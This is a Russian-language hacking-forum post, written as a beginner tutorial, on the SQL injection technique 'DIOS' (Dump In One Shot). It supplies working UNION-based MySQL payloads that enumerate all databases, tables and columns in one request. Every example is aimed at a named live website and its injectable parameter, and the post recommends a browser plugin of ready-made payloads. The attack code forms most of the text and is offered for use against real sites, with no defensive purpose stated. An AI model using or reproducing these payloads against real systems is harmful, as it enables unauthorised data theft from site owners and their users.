Предисловие Всем привет) И так, продолжаю свою серию постов "для нубиков таких как я" Не знаю почему,но я почему то думал что тут найдуться множество статей о так называемом DIOS ( Dump In One Shot), но увы как то маловато статей я встретел и решил запостить свою. SQLi DIOS DIOS - DUmp In One Shot ( Дамп всего за один выстрел) Для наглядности возьмем какуе то скулю из нашего поста.Желательно без WAF для наглядной демонстрации. Возьмем для примера эту скулю: Code: http://www.podarochek.by/about?curCategory=10&curItem=.1 union select 1,2,3,4,5,6,7,8,9-- - Будем пробовать разобрать принцип работы DIOS. Для того что бы понять что делает DIOS, давайте посмотрем на базовый запрос который вернет на список всех доступных вебприложению БД Code: (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>'))))a) Для нашего примера это выглядит так: Code: http://www.podarochek.by/about?curCategory=10&curItem=.1 +UNION+ALL+SELECT+1, concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata) where (@a)in (@a:=concat(@a,schema_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- - И так давайте посмотрем что делает запрос: Сначала делает select переменной @a из information_schema.tables и обьеденяем все имена из schema в 'IN'. И как мы все уже догадались,все имена БД придет в цикл 'IN' и будут выбраны ,так как все они существуют в таблице information_schema.schemata Теперь плавно перейдем к следующему запросу который позволит нам получить все таблицы: Code: http://www.podarochek.by/about?curCategory=10&curItem= .1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=concat(@a,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- - Здесь принцип тотже, только выбераюься table_name из information_schema.tables Хорошо идем) Но часто нам бывает не нужен вывод таблиц information_schema.Для того что бы отбросить вывод таблиц Information_schema немного изменим запрос: Code: http://www.podarochek.by/about?curCategory=10&curItem= .1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00), (select (@a) from (information_schema.tables)where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@a)in (@a:=concat(@a,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- - Теперь мы получаем список таблиц из всех баз кроме Information_schema Теперь в вывод добавим имя базы перед именем таблицы с помощью следующего запроса: Code: http://www.podarochek.by/about?curCategory=10&curItem= .1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@a)in (@a:=concat(@a,0x3c6c693e,table_schema,0x203a3a20,table_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- - Дальше как вы догадались добавим в вывод имена столбцов: Code: http://www.podarochek.by/about?curCategory=10&curItem= .1 +UNION+ALL+SELECT+1,concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (@a)in (@a:=concat(@a,0x3c6c693e,table_schema, 0x203a3a20,table_name,0x203a3a20,column_name,0x3c62723e))))a)),3,@@version,5,6,7,8,9 -- - Это лишь основы DIOS.Есть уже много готовых DIOS написанных многими людьми.Многие с них собраны в хакбаре для Mozilla Firefox который я вылаживал в посте http://forum.antichat.ru/threads/425298/ Небольшая демонстрация плагина.
Осмелюсь предположить что вкладка браузера зависнет(если не сам браузер) Собсна как и при обычном echo проделанным миллион раз,вывод по 100к записей вполне решит эту проблему,но это уже будет не one shot